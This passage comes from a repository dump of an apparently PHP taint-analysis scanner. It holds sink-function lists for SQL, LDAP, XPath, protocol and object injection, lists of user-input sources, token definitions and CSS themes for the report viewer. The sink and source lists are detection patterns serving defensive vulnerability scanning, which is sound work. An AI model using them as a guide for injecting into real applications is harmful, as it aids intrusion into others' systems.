$F_SECURING_SQL), 'mssql_query' => array(array(1), $F_SECURING_SQL), 'mssql_execute' => array(array(1), $F_SECURING_SQL), 'mysql_db_query' => array(array(2), $F_SECURING_SQL), 'mysql_query' => array(array(1), $F_SECURING_SQL), 'mysql_unbuffered_query' => array(array(1), $F_SECURING_SQL), 'mysqli_stmt_execute' => array(array(1), $F_SECURING_SQL), 'mysqli_query' => array(array(2), $F_SECURING_SQL), 'mysqli_real_query' => array(array(1), $F_SECURING_SQL), 'mysqli_master_query' => array(array(2), $F_SECURING_SQL), 'oci_execute' => array(array(1), array()), 'ociexecute' => array(array(1), array()), 'ovrimos_exec' => array(array(2), $F_SECURING_SQL), 'ovrimos_execute' => array(array(2), $F_SECURING_SQL), 'ora_do' => array(array(2), array()), 'ora_exec' => array(array(1), array()), 'pg_query' => array(array(2), $F_SECURING_SQL), 'pg_send_query' => array(array(2), $F_SECURING_SQL), 'pg_send_query_params' => array(array(2), $F_SECURING_SQL), 'pg_send_prepare' => array(array(3), $F_SECURING_SQL), 'pg_prepare' => array(array(3), $F_SECURING_SQL), 'sqlite_open' => array(array(1), $F_SECURING_SQL), 'sqlite_popen' => array(array(1), $F_SECURING_SQL), 'sqlite_array_query' => array(array(1,2), $F_SECURING_SQL), 'arrayQuery' => array(array(1,2), $F_SECURING_SQL), 'singleQuery' => array(array(1), $F_SECURING_SQL), 'sqlite_query' => array(array(1,2), $F_SECURING_SQL), 'sqlite_exec' => array(array(1,2), $F_SECURING_SQL), 'sqlite_single_query' => array(array(2), $F_SECURING_SQL), 'sqlite_unbuffered_query' => array(array(1,2), $F_SECURING_SQL), 'sybase_query' => array(array(1), $F_SECURING_SQL), 'sybase_unbuffered_query' => array(array(1), $F_SECURING_SQL) ); // xpath injection $NAME_XPATH = 'XPath Injection'; $F_XPATH = array( 'xpath_eval' => array(array(2), $F_SECURING_XPATH), 'xpath_eval_expression' => array(array(2), $F_SECURING_XPATH), 'xptr_eval' => array(array(2), $F_SECURING_XPATH) ); // ldap injection $NAME_LDAP = 'LDAP Injection'; $F_LDAP = array( 'ldap_add' => array(array(2,3), $F_SECURING_LDAP), 'ldap_delete' => array(array(2), $F_SECURING_LDAP), 'ldap_list' => array(array(3), $F_SECURING_LDAP), 'ldap_read' => array(array(3), $F_SECURING_LDAP), 'ldap_search' => array(array(3), $F_SECURING_LDAP) ); // connection handling functions $NAME_CONNECT = 'Protocol Injection'; $F_CONNECT = array( 'curl_setopt' => array(array(2,3), array()), 'curl_setopt_array' => array(array(2), array()), 'cyrus_query' => array(array(2), array()), 'error_log' => array(array(3), array()), 'fsockopen' => array(array(1), array()), 'ftp_chmod' => array(array(2,3), array()), 'ftp_exec' => array(array(2), array()), 'ftp_delete' => array(array(2), array()), 'ftp_fget' => array(array(3), array()), 'ftp_get' => array(array(2,3), array()), 'ftp_nlist' => array(array(2), array()), 'ftp_nb_fget' => array(array(3), array()), 'ftp_nb_get' => array(array(2,3), array()), 'ftp_nb_put' => array(array(2), array()), 'ftp_put' => array(array(2,3), array()), 'get_headers' => array(array(1), array()), 'imap_open' => array(array(1), array()), 'imap_mail' => array(array(1), array()), 'mail' => array(array(1,4), array()), 'mb_send_mail' => array(array(1,4), array()), 'ldap_connect' => array(array(1), array()), 'msession_connect' => array(array(1), array()), 'pfsockopen' => array(array(1), array()), 'session_register' => array(array(0), array()), 'socket_bind' => array(array(2), array()), 'socket_connect' => array(array(2), array()), 'socket_send' => array(array(2), array()), 'socket_write' => array(array(2), array()), 'stream_socket_client' => array(array(1), array()), 'stream_socket_server' => array(array(1), array()), 'printer_open' => array(array(1), array()) ); // other critical functions $NAME_OTHER = 'Possible Flow Control'; // :X $F_OTHER = array( 'dl' => array(array(1), array()), 'ereg' => array(array(2), array()), # nullbyte injection affected 'eregi' => array(array(2), array()), # nullbyte injection affected 'ini_set' => array(array(1,2), array()), 'ini_restore' => array(array(1), array()), 'runkit_constant_redefine' => array(array(1,2), array()), 'runkit_method_rename' => array(array(1,2,3), array()), 'sleep' => array(array(1), array()), 'usleep' => array(array(1), array()), 'extract' => array(array(1), array()), 'mb_parse_str' => array(array(1), array()), 'parse_str' => array(array(1), array()), 'putenv' => array(array(1), array()), 'set_include_path' => array(array(1), array()), 'apache_setenv' => array(array(1,2), array()), 'define' => array(array(1), array()), 'is_a' => array(array(1), array()) // calls __autoload() ); // property oriented programming with unserialize $NAME_POP = 'PHP Object Injection'; $F_POP = array( 'unserialize' => array(array(1), array()), // calls gadgets 'yaml_parse' => array(array(1), array()) // calls unserialize ); // XML //simplexml_load_string # interruption vulnerabilities # trim(), rtrim(), ltrim(), explode(), strchr(), strstr(), substr(), chunk_split(), strtok(), addcslashes(), str_repeat() htmlentities() htmlspecialchars(), unset() ================================================ FILE: config/sources.php ================================================ . **/ final class Sources { // userinput variables public static $V_USERINPUT = array( '$_GET', '$_POST', '$_COOKIE', '$_REQUEST', '$_FILES', '$_SERVER', '$HTTP_GET_VARS', '$HTTP_POST_VARS', '$HTTP_COOKIE_VARS', '$HTTP_REQUEST_VARS', '$HTTP_POST_FILES', '$HTTP_SERVER_VARS', '$HTTP_RAW_POST_DATA', '$argc', '$argv' ); public static $V_SERVER_PARAMS = array( 'HTTP_ACCEPT', 'HTTP_ACCEPT_LANGUAGE', 'HTTP_ACCEPT_ENCODING', 'HTTP_ACCEPT_CHARSET', 'HTTP_CONNECTION', 'HTTP_HOST', 'HTTP_KEEP_ALIVE', 'HTTP_REFERER', 'HTTP_USER_AGENT', 'HTTP_X_FORWARDED_FOR', // all HTTP_ headers can be tainted 'PHP_AUTH_DIGEST', 'PHP_AUTH_USER', 'PHP_AUTH_PW', 'AUTH_TYPE', 'QUERY_STRING', 'REQUEST_METHOD', 'REQUEST_URI', // partly urlencoded 'PATH_INFO', 'ORIG_PATH_INFO', 'PATH_TRANSLATED', 'REMOTE_HOSTNAME', 'PHP_SELF' ); // file content as input public static $F_FILE_INPUT = array( 'bzread', 'dio_read', 'exif_imagetype', 'exif_read_data', 'exif_thumbnail', 'fgets', 'fgetss', 'file', 'file_get_contents', 'fread', 'get_meta_tags', 'glob', 'gzread', 'readdir', 'read_exif_data', 'scandir', 'zip_read' ); // database content as input public static $F_DATABASE_INPUT = array( 'mysql_fetch_array', 'mysql_fetch_assoc', 'mysql_fetch_field', 'mysql_fetch_object', 'mysql_fetch_row', 'pg_fetch_all', 'pg_fetch_array', 'pg_fetch_assoc', 'pg_fetch_object', 'pg_fetch_result', 'pg_fetch_row', 'sqlite_fetch_all', 'sqlite_fetch_array', 'sqlite_fetch_object', 'sqlite_fetch_single', 'sqlite_fetch_string' ); // other functions as input public static $F_OTHER_INPUT = array( 'get_headers', 'getallheaders', 'get_browser', 'getenv', 'gethostbyaddr', 'runkit_superglobals', 'import_request_variables' ); // 'getenv' and 'apache_getenv' // will be automatically added if 'putenv' or 'apache_setenv' with userinput is found } ================================================ FILE: config/tokens.php ================================================ . **/ // define own token for include ending define('T_INCLUDE_END', 10000); // added in php 5.3 if ( ! defined('T_GOTO')) define('T_GOTO', 10001); if ( ! defined('T_NAMESPACE')) define('T_NAMESPACE', 10002); if ( ! defined('T_NS_C')) define('T_NS_C', 10003); if ( ! defined('T_NS_SEPARATOR')) define('T_NS_SEPARATOR', 10004); if ( ! defined('T_USE')) define('T_USE', 10005); // added in php 5.4 if ( ! defined('T_INSTEADOF')) define('T_INSTEADOF', 10006); if ( ! defined('T_TRAIT')) define('T_TRAIT', 10007); if ( ! defined('T_TRAIT_C')) define('T_TRAIT_C', 10008); // added in php 5.5 if ( ! defined('T_FINALLY')) define('T_FINALLY', 10009); if ( ! defined('T_YIELD')) define('T_YIELD', 10010); if ( ! defined('T_YIELD_FROM')) define('T_YIELD_FROM', 10011); // added in php 5.6 if ( ! defined('T_ELLIPSIS')) define('T_ELLIPSIS', 10012); if ( ! defined('T_POW')) define('T_POW', 10013); if ( ! defined('T_POW_EQUAL')) define('T_POW_EQUAL', 10014); // added in php 7.0 if ( ! defined('T_COALESCE')) define('T_COALESCE', 10015); if ( ! defined('T_SPACESHIP')) define('T_SPACESHIP', 10016); // added in php 7.4 if ( ! defined('T_COALESCE_EQUAL')) define('T_COALESCE_EQUAL', 10017); if ( ! defined('T_FN')) define('T_FN', 10018); // added in php 8.0 if ( ! defined('T_ATTRIBUTE')) define('T_ATTRIBUTE', 10019); if ( ! defined('T_MATCH')) define('T_MATCH', 10020); if ( ! defined('T_NAME_FULLY_QUALIFIED')) define('T_NAME_FULLY_QUALIFIED', 10021); if ( ! defined('T_NAME_QUALIFIED')) define('T_NAME_QUALIFIED', 10022); if ( ! defined('T_NAME_RELATIVE')) define('T_NAME_RELATIVE', 10023); if ( ! defined('T_NULLSAFE_OBJECT_OPERATOR')) define('T_NULLSAFE_OBJECT_OPERATOR', 10024); // added in php 8.1 if ( ! defined('T_ENUM')) define('T_ENUM', 10025); if ( ! defined('T_READONLY')) define('T_READONLY', 10026); if ( ! defined('T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG')) define('T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG', 10027); if ( ! defined('T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG')) define('T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG', 10028); final class Tokens { // tokens to ignore while scanning public static $T_IGNORE = array( T_BAD_CHARACTER, T_DOC_COMMENT, T_COMMENT, //T_ML_COMMENT, T_INLINE_HTML, T_WHITESPACE, T_OPEN_TAG, //T_CLOSE_TAG, ); // code blocks that should be ignored as requirement public static $T_LOOP_CONTROL = array( //T_DO, // removed, because DO..WHILE is rewritten to WHILE T_WHILE, T_FOR, T_FOREACH, ); // control structures public static $T_FLOW_CONTROL = array( T_IF, T_SWITCH, T_CASE, T_ELSE, T_ELSEIF, ); // variable assignment tokens public static $T_ASSIGNMENT = array( T_AND_EQUAL, T_CONCAT_EQUAL, T_DIV_EQUAL, T_MINUS_EQUAL, T_MOD_EQUAL, T_MUL_EQUAL, T_OR_EQUAL, T_PLUS_EQUAL, T_POW_EQUAL, T_SL_EQUAL, T_SR_EQUAL, T_XOR_EQUAL, T_COALESCE_EQUAL, ); // variable assignment tokens that prevent tainting public static $T_ASSIGNMENT_SECURE = array( T_DIV_EQUAL, T_MINUS_EQUAL, T_MOD_EQUAL, T_MUL_EQUAL, T_OR_EQUAL, T_PLUS_EQUAL, T_POW_EQUAL, T_SL_EQUAL, T_SR_EQUAL, T_XOR_EQUAL, ); // condition operators public static $T_OPERATOR = array( T_IS_EQUAL, T_IS_GREATER_OR_EQUAL, T_IS_IDENTICAL, T_IS_NOT_EQUAL, T_IS_NOT_IDENTICAL, T_IS_SMALLER_OR_EQUAL, T_SPACESHIP, T_COALESCE, ); // all function call tokens public static $T_FUNCTIONS = array( T_STRING, // all functions T_EVAL, T_INCLUDE, T_INCLUDE_ONCE, T_REQUIRE, T_REQUIRE_ONCE, ); // including operation tokens public static $T_INCLUDES = array( T_INCLUDE, T_INCLUDE_ONCE, T_REQUIRE, T_REQUIRE_ONCE, ); // XSS affected operation tokens public static $T_XSS = array( T_PRINT, T_ECHO, T_OPEN_TAG_WITH_ECHO, T_EXIT, ); // securing operation tokens public static $T_CASTS = array( T_BOOL_CAST, T_DOUBLE_CAST, T_INT_CAST, T_UNSET_CAST, T_UNSET, ); // tokens that will have a space before and after in the output, besides $T_OPERATOR and $T_ASSIGNMENT public static $T_SPACE_WRAP = array( T_AS, T_BOOLEAN_AND, T_BOOLEAN_OR, T_LOGICAL_AND, T_LOGICAL_OR, T_LOGICAL_XOR, T_SL, T_SR, T_CASE, T_ELSE, T_GLOBAL, T_NEW, ); // arithmetical operators to detect automatic typecasts public static $T_ARITHMETIC = array( T_INC, T_DEC, ); // arithmetical operators to detect automatic typecasts public static $S_ARITHMETIC = array( '+', '-', '*', '/', '%', T_POW, ); // strings that will have a space before and after in the output besides $S_ARITHMETIC public static $S_SPACE_WRAP = array( '.', '=', '>', '<', ':', '?', ); } ================================================ FILE: css/ayti.css ================================================ #scrollwindow { background-color: grey; opacity:0.22; } .userinput, .persistent { list-style-type: disc; color:white; } .validated { list-style-type: disc; color:red; } .functioninput { list-style-type: disc; color:yellow; } .vulnblock { background-color:#223344; color:#FFCC44; font-weight:bold; } .codebox { margin-bottom: 10px; background-color: #101820; } .windowcontent, .filecanvas, #funccodecontent, #funccodetitle, .funclistcontent { background-color: #101820; } .markline { background-color: #334455; } .requires {color: #D2A8A1; font-weight:bold;} .linenr {color: #888;} .link {color: #6262F0; font-weight:bold;} .vulntitle, .code { font-size:9pt; font-family: "Bitstream Vera Sans Mono", "Monaco", "Courier New", monospace; } .code, .phps-code, .phps-t-curly-open, .phps-t-dollar-open-curly-braces, .vulntitle {color: white; } .phps-t-string, .phps-t-eval, .phps-t-print, .phps-t-include, .phps-t-include-once, .phps-t-require, .phps-t-require-once, .phps-t-isset, .phps-t-empty, .phps-t-while, .phps-t-do, .phps-t-try, .phps-t-catch, .phps-t-exit, .phps-t-unset, .phps-t-list, .phps-t-array, .phps-t-echo, .phps-t-start-heredoc, .phps-t-end-heredoc {color: #FFFFFF;} /*E1E1F9*/ .phps-t-open-tag, .phps-t-close-tag, .phps-t-and-equal, .phps-t-concat-equal, .phps-t-div-equal, .phps-t-minus-equal, .phps-t-mod-equal, .phps-t-mul-equal, .phps-t-or-equal, .phps-t-plus-equal, .phps-t-sl-equal, .phps-t-sr-equal, .phps-t-xor-equal, .phps-t-is-equal, .phps-t-is-greater-or-equal, .phps-t-is-identical, .phps-t-is-not-equal, .phps-t-is-not-identical, .phps-t-object-operator, .phps-t-double-colon, .phps-t-paamayim-nekudotayim, .phps-t-if, .phps-t-isset, .phps-t-exclaim, .phps-t-for, .phps-t-foreach, .phps-t-return, .phps-t-double-arrow, .phps-t-as, .phps-t-or, .phps-t-case, .phps-t-default, .phps-t-break, .phps-t-continue, .phps-t-goto, .phps-t-and, .phps-t-xor, .phps-t-boolean-or, .phps-t-boolean-and, .phps-t-global, .phps-t-logical-and, .phps-t-logical-or, .phps-t-else, .phps-t-elseif, .phps-t-switch, .phps-t-use, .phps-t-var, .phps-t-inc, .phps-t-dec, .phps-t-function, .phps-t-public, .phps-t-private, .phps-t-protected, .phps-t-static, .phps-t-class, .phps-t-new, .phps-t-bool-cast, .phps-t-double-cast, .phps-t-int-cast, .phps-t-unset-cast, .phps-t-file, .phps-t-line, .phps-t-dir, .phps-t-func-c, .phps-t-class-c, .phps-t-method-c, .phps-t-ns-c {color: #9467FC;} .phps-t-const {color: #CF6A4C;} .phps-t-variable, .phps-t-variable-marked, .phps-t-string-varname, .funclistline {color: #768FEB;} .phps-t-variable-marked {background-color:darkred;} .phps-tainted-var {color: #AAC8FD;} .phps-t-lnumber {color: #CF6A4C} .phps-t-encapsed-and-whitespace, .phps-t-constant-encapsed-string {color: #FFCE42;} /* FFCE42 */ .phps-t-inline-html {color: #FFCE42;} .phps-t-comment, .phps-t-ml-comment, .phps-t-doc-comment {color: #3F4852} ================================================ FILE: css/barf.css ================================================ #scrollwindow { background-color: grey; opacity:0.22; } .menu { background-color: #1D261B; } input[type="text"],select { color: #000 !important; background: #99A298 !important; } .userinput, .persistent { list-style-type: disc; color:white; } .validated { list-style-type: disc; color:red; } .functioninput { list-style-type: disc; color:yellow; } .codebox { margin-bottom: 10px; background-color: #0D1219; } .vulnblock { background-color:#283325; color:#94F877; font-weight:bold; } .windowcontent, #funccodecontent, #funccodetitle, .funclistcontent { background-color: #0D1219; } .markline { background-color: #243245; } .requires {color: #697B8F; font-weight:bold;} .linenr {color: #888;} .link {color: #EEF2F7; font-weight:bold;} .code, .vulntitle { font-size:9pt; font-family: "Bitstream Vera Sans Mono", "Monaco", "Courier New", monospace; } .code, .phps-code, .phps-t-curly-open, .phps-t-dollar-open-curly-braces, .vulntitle {color: #EEF2F7; } .phps-t-string, .phps-t-eval, .phps-t-print, .phps-t-include, .phps-t-include-once, .phps-t-require, .phps-t-require-once, .phps-t-isset, .phps-t-empty, .phps-t-while, .phps-t-do, .phps-t-exit, .phps-t-try, .phps-t-catch, .phps-t-unset, .phps-t-list, .phps-t-array, .phps-t-echo, .phps-t-start-heredoc, .phps-t-end-heredoc, .phps-t-if, .phps-t-for, .phps-t-foreach, .phps-t-else, .phps-t-elseif, .phps-t-switch, .phps-t-bool-cast, .phps-t-double-cast, .phps-t-int-cast, .phps-t-unset-cast, .phps-t-file, .phps-t-line, .phps-t-dir, .phps-t-func-c, .phps-t-class-c, .phps-t-method-c, .phps-t-ns-c {color: #EFF3F8;} .phps-t-open-tag, .phps-t-close-tag, .phps-t-and-equal, .phps-t-concat-equal, .phps-t-div-equal, .phps-t-minus-equal, .phps-t-mod-equal, .phps-t-mul-equal, .phps-t-or-equal, .phps-t-plus-equal, .phps-t-sl-equal, .phps-t-sr-equal, .phps-t-xor-equal, .phps-t-is-equal, .phps-t-is-greater-or-equal, .phps-t-is-identical, .phps-t-is-not-equal, .phps-t-is-not-identical, .phps-t-inc, .phps-t-dec, .phps-t-object-operator, .phps-t-double-colon, .phps-t-paamayim-nekudotayim, .phps-t-exclaim, .phps-t-double-arrow, .phps-t-as, .phps-t-or, .phps-t-case, .phps-t-default, .phps-t-break, .phps-t-continue, .phps-t-goto, .phps-t-and, .phps-t-xor, .phps-t-global, .phps-t-logical-and, .phps-t-logical-or, .phps-t-boolean-or, .phps-t-boolean-and, .phps-t-use, .phps-t-var {color: #697A8E;} .phps-t-function, .phps-t-public, .phps-t-private, .phps-t-protected, .phps-t-static, .phps-t-class, .phps-t-new, .phps-t-const, .phps-t-return {color: #94F877;} .phps-t-variable, .phps-t-string-varname, .funclistline, .phps-t-variable-marked {color: #708E67;} .phps-t-variable-marked {background-color:darkred;} .phps-tainted-var {color: #7FC16B;} .phps-t-lnumber {color: #EEF2F7} .phps-t-encapsed-and-whitespace, .phps-t-constant-encapsed-string {color: #5C81B3;} .phps-t-inline-html {color: #F9EE98;} .phps-t-comment, .phps-t-ml-comment, .phps-t-doc-comment {color: #6E6E6E;} ================================================ FILE: css/code-dark.css ================================================ #scrollwindow { background-color: grey; opacity:0.22; } .menu { background-color:#010101; } input[type="text"],select { color: #000 !important; background-color:#797979 !important; } .userinput, .persistent { list-style-type: disc; color:white; } .validated { list-style-type: disc; color:red; } .functioninput { list-style-type: disc; color:yellow; } .codebox { margin-bottom: 10px; background-color: #222222; } .vulnblock { background-color:#111111; color:#FBFB97; font-weight:bold; } .windowcontent , #funccodecontent, #funccodetitle, .funclistcontent { background-color: #222222; } .code, .vulntitle {font-family: "Bitstream Vera Sans Mono", "Monaco", "Courier New", monospace; font-size:9pt; } .markline { background-color: #531107; } .requires, .linenr {color: #888888;} .link {color:#D78787; font-weight:bold; text-decoration:underline;} .code, .phps-code, .phps-t-dollar-open-curly-braces, .phps-t-curly-open, .phps-t-open-tag, .phps-t-close-tag, .phps-t-and-equal, .phps-t-concat-equal, .phps-t-div-equal, .phps-t-minus-equal, .phps-t-mod-equal, .phps-t-mul-equal, .phps-t-or-equal, .phps-t-plus-equal, .phps-t-sl-equal, .phps-t-sr-equal, .phps-t-xor-equal, .phps-t-is-equal, .phps-t-is-greater-or-equal, .phps-t-is-identical, .phps-t-is-not-equal, .phps-t-is-not-identical, .phps-t-inc, .phps-t-dec, .phps-t-object-operator, .phps-t-double-colon, .phps-t-paamayim-nekudotayim {color: #D78787;} .phps-t-if, .phps-t-while, .phps-t-do, .phps-t-exit, .phps-t-try, .phps-t-catch, .phps-t-isset, .phps-t-exclaim, .phps-t-for, .phps-t-foreach, .phps-t-return, .phps-t-double-arrow, .phps-t-as, .phps-t-or, .phps-t-case, .phps-t-default, .phps-t-break, .phps-t-continue, .phps-t-goto, .phps-t-and, .phps-t-boolean-or, .phps-t-boolean-and, .phps-t-logical-or, .phps-t-logical-and, .phps-t-xor, .phps-t-global, .phps-t-and, .phps-t-isset, .phps-t-empty, .phps-t-unset, .phps-t-else, .phps-t-elseif, .phps-t-switch, .phps-t-array, .phps-t-bool-cast, .phps-t-double-cast, .phps-t-int-cast, .phps-t-unset-cast, .phps-t-file, .phps-t-line, .phps-t-dir, .phps-t-func-c, .phps-t-class-c, .phps-t-method-c, .phps-t-ns-c {color: #87AFD7;} .phps-t-variable, .phps-t-string-varname, .funclistline, .phps-t-variable-marked {color: #AFAFD7;} .phps-t-variable-marked {background-color:darkred;} .phps-tainted-var {color: #5959E2;} .phps-t-string, .phps-t-eval, .phps-t-const {color: #D7AFD7;} .phps-t-lnumber {color: #D7AF87;} .phps-t-encapsed-and-whitespace, .phps-t-constant-encapsed-string {color: #FFFFAF;} .phps-t-echo, .phps-t-start-heredoc, .phps-t-end-heredoc, .phps-t-function, .phps-t-public, .phps-t-private, .phps-t-protected, .phps-t-static, .phps-t-class, .phps-t-new, .phps-t-print, .phps-t-include, .phps-t-include-once, .phps-t-require, .phps-t-require-once, .phps-t-use {color: #AFD787;} .phps-t-inline-html {color: #D0D0D0;} .phps-t-comment, .phps-t-ml-comment, .phps-t-doc-comment {color: #808080} ================================================ FILE: css/espresso.css ================================================ #scrollwindow { background-color: grey; opacity:0.22; } .menu { background-color: #351F12; } input[type="text"],select { color: #000 !important; background: #968B85 !important; } .userinput, .persistent { list-style-type: disc; color:white; } .validated { list-style-type: disc; color:red; } .functioninput { list-style-type: disc; color:yellow; } .codebox { margin-bottom: 10px; background-color: #2A211C; } .vulnblock { background-color:#23150D; color:#049B0A; font-weight:bold; } .windowcontent , #funccodecontent, #funccodetitle, .funclistcontent { background-color: #2A211C; } .markline { background-color: #1E3F06; } .requires {color: #43A8ED; font-weight:bold;} .linenr {color: #888;} .link {color: #2F5FE0; font-weight:bold;} .code, .vulntitle { font-size:9pt; font-family: "Bitstream Vera Sans Mono", "Monaco", "Courier New", monospace; } .code, .phps-code, .phps-t-curly-open, .phps-t-dollar-open-curly-braces, .vulntitle {color: #BDAE9D; } .phps-t-string, .phps-t-eval, .phps-t-print, .phps-t-include, .phps-t-include-once, .phps-t-require, .phps-t-require-once, .phps-t-isset, .phps-t-empty, .phps-t-while, .phps-t-do, .phps-t-exit, .phps-t-try, .phps-t-catch, .phps-t-unset, .phps-t-list, .phps-t-array, .phps-t-echo, .phps-t-start-heredoc, .phps-t-end-heredoc {color: #FFCE42;} .phps-t-open-tag, .phps-t-close-tag, .phps-t-and-equal, .phps-t-concat-equal, .phps-t-div-equal, .phps-t-minus-equal, .phps-t-mod-equal, .phps-t-mul-equal, .phps-t-or-equal, .phps-t-plus-equal, .phps-t-sl-equal, .phps-t-sr-equal, .phps-t-xor-equal, .phps-t-is-equal, .phps-t-is-greater-or-equal, .phps-t-is-identical, .phps-t-is-not-equal, .phps-t-is-not-identical, .phps-t-inc, .phps-t-dec, .phps-t-object-operator, .phps-t-double-colon, .phps-t-paamayim-nekudotayim, .phps-t-if, .phps-t-switch, .phps-t-exclaim, .phps-t-for, .phps-t-foreach, .phps-t-return, .phps-t-double-arrow, .phps-t-as, .phps-t-or, .phps-t-case, .phps-t-default, .phps-t-break, .phps-t-continue, .phps-t-goto, .phps-t-and, .phps-t-xor, .phps-t-global, .phps-t-logical-and, .phps-t-logical-or, .phps-t-boolean-or, .phps-t-boolean-and, .phps-t-else, .phps-t-elseif, .phps-t-use, .phps-t-var, .phps-t-function, .phps-t-public, .phps-t-private, .phps-t-protected, .phps-t-static, .phps-t-class, .phps-t-new, .phps-t-bool-cast, .phps-t-double-cast, .phps-t-int-cast, .phps-t-unset-cast, .phps-t-file, .phps-t-line, .phps-t-dir, .phps-t-func-c, .phps-t-class-c, .phps-t-method-c, .phps-t-ns-c {color: #43A8ED; font-weight: bold; } .phps-t-const {color: #C5656B;} .phps-t-variable, .phps-t-string-varname, .funclistline, .phps-tainted-var {color: #0066FF;} .phps-t-variable-marked {background-color:darkred;color:#4B91FB;} .phps-tainted-var {color: #4B91FB;} .phps-t-lnumber {color: #C4BDA1;} .phps-t-encapsed-and-whitespace, .phps-t-constant-encapsed-string {color: #EEEEEE;} .phps-t-inline-html {color: #F9EE98;} .phps-t-comment, .phps-t-ml-comment, .phps-t-doc-comment {color: #534A44; font-style: italic;} ================================================ FILE: css/notepad++.css ================================================ #scrollwindow { background-color: grey; opacity:0.22; } body, html { color: #111111; } .textcolor { color: #ffffff; } .darkcolor { color: black; } .userinput, .persistent { list-style-type: disc; color:grey; } .validated { list-style-type: disc; color:red; } .functioninput { list-style-type: disc; color:yellow; } .vulnblock { background-color:#D4D0C8; color:black; font-weight:bold; } .codebox { margin-bottom: 10px; background-color: #ffffff; } .windowcontent, #funccodecontent, #funccodetitle, .funclistcontent { background-color: #ffffff; opacity:0.95; } .markline { background-color: #EF9486; } .requires {color: #000000; font-weight:bold;} .linenr {color: #808080;} .link {color: #0000FF; font-weight:bold;} .code, .vulntitle { font-size:9pt; font-family: "Bitstream Vera Sans Mono", "Monaco", "Courier New", monospace; } .code, .phps-code, .phps-t-curly-open, .phps-t-dollar-open-curly-braces, .vulntitle {color: #8000FF; font-weight: bold;} .phps-t-string, .phps-t-eval {color: #000000; font-weight: bold;} .phps-t-and-equal, .phps-t-concat-equal, .phps-t-div-equal, .phps-t-minus-equal, .phps-t-mod-equal, .phps-t-mul-equal, .phps-t-or-equal, .phps-t-plus-equal, .phps-t-sl-equal, .phps-t-sr-equal, .phps-t-xor-equal, .phps-t-is-equal, .phps-t-is-greater-or-equal, .phps-t-is-identical, .phps-t-is-not-equal, .phps-t-is-not-identical, .phps-t-inc, .phps-t-dec, .phps-t-object-operator, .phps-t-double-colon, .phps-t-paamayim-nekudotayim, .phps-t-double-arrow, .phps-t-boolean-or, .phps-t-boolean-and {color: #8000FF;} .phps-t-print, .phps-t-include, .phps-t-include-once, .phps-t-require, .phps-t-require-once, .phps-t-isset, .phps-t-empty, .phps-t-while, .phps-t-do, .phps-t-exit, .phps-t-try, .phps-t-catch, .phps-t-unset, .phps-t-list, .phps-t-array, .phps-t-echo, .phps-t-if, .phps-t-switch, .phps-t-isset, .phps-t-exclaim, .phps-t-for, .phps-t-foreach, .phps-t-return, .phps-t-as, .phps-t-or, .phps-t-logical-and, .phps-t-logical-or, .phps-t-boolean-or, .phps-t-boolean-and, .phps-t-case, .phps-t-default, .phps-t-break, .phps-t-continue, .phps-t-goto, .phps-t-and, .phps-t-xor, .phps-t-global, .phps-t-else, .phps-t-elseif, .phps-t-use, .phps-t-var, .phps-t-function, .phps-t-public, .phps-t-private, .phps-t-protected, .phps-t-static, .phps-t-class, .phps-t-new, .phps-t-bool-cast, .phps-t-double-cast, .phps-t-int-cast, .phps-t-unset-cast, .phps-t-file, .phps-t-line, .phps-t-dir, .phps-t-func-c, .phps-t-class-c, .phps-t-method-c, .phps-t-ns-c {color: #0000FF; font-weight:bold;} .phps-t-open-tag, .phps-t-close-tag {color: #FF0000; font-weight:bold;} .phps-t-const {color: #000000;} .phps-t-variable, .phps-t-string-varname, .funclistline, .phps-t-variable-marked {color: #000080;} .phps-t-variable-marked {background-color:#F5A69A;} .phps-tainted-var {color: #0606Ed;} .phps-t-lnumber {color: #FF8000} .phps-t-encapsed-and-whitespace, .phps-t-constant-encapsed-string, .phps-t-start-heredoc, .phps-t-end-heredoc {color: #4A4A4A;} .phps-t-inline-html {color: #000000; font-weight:bold;} .phps-t-comment, .phps-t-ml-comment, .phps-t-doc-comment {color: #63C763; font-weight:normal;} ================================================ FILE: css/phps.css ================================================ #scrollwindow { background-color: grey; opacity:0.22; } body, html { color: #111111; } .textcolor { color: #ffffff; } .darkcolor { color: black; } .userinput, .persistent { list-style-type: disc; color:white; } .validated { list-style-type: disc; color:red; } .functioninput { list-style-type: disc; color:yellow; } .codebox { margin-bottom: 10px; background-color: #C4CDD1; } .vulnblock { background-color:#ABBBC3; color:black; font-weight:bold; } .windowcontent , #funccodecontent, #funccodetitle, .funclistcontent { background-color: #C4CDD1; opacity:0.92; } .markline { background-color: #F98888; } .code, .vulntitle { font-family: "Bitstream Vera Sans Mono", "Monaco", "Courier New", monospace; font-size:9pt; color: #007700; } .requires, .linenr {color: black; font-weight:bold;} .link {font-weight:bold; color: #0000BB;} .phps-code, .phps-t-dollar-open-curly-braces, .phps-t-curly-open, .phps-t-open-tag, .phps-t-close-tag, .phps-t-and-equal, .phps-t-concat-equal, .phps-t-div-equal, .phps-t-minus-equal, .phps-t-mod-equal, .phps-t-mul-equal, .phps-t-or-equal, .phps-t-plus-equal, .phps-t-sl-equal, .phps-t-sr-equal, .phps-t-xor-equal, .phps-t-is-equal, .phps-t-is-greater-or-equal, .phps-t-is-identical, .phps-t-is-not-equal, .phps-t-is-not-identical, .phps-t-inc, .phps-t-dec, .phps-t-object-operator, .phps-t-double-colon, .phps-t-paamayim-nekudotayim, .phps-t-if, .phps-t-switch, .phps-t-while, .phps-t-do, .phps-t-exit, .phps-t-try, .phps-t-catch, .phps-t-isset, .phps-t-exclaim, .phps-t-for, .phps-t-foreach, .phps-t-return, .phps-t-double-arrow, .phps-t-as, .phps-t-or, .phps-t-case, .phps-t-default, .phps-t-break, .phps-t-continue, .phps-t-goto, .phps-t-and, .phps-t-xor, .phps-t-global, .phps-t-logical-and, .phps-t-logical-or, .phps-t-boolean-or, .phps-t-boolean-and, .phps-t-empty, .phps-t-unset, .phps-t-else, .phps-t-elseif, .phps-t-list, .phps-t-array, .phps-t-echo, .phps-t-start-heredoc, .phps-t-end-heredoc, .phps-t-function, .phps-t-public, .phps-t-private, .phps-t-protected, .phps-t-static, .phps-t-class, .phps-t-new, .phps-t-print, .phps-t-include, .phps-t-include-once, .phps-t-require, .phps-t-require-once, .phps-t-use, .phps-t-var, .phps-t-bool-cast, .phps-t-double-cast, .phps-t-int-cast, .phps-t-unset-cast, 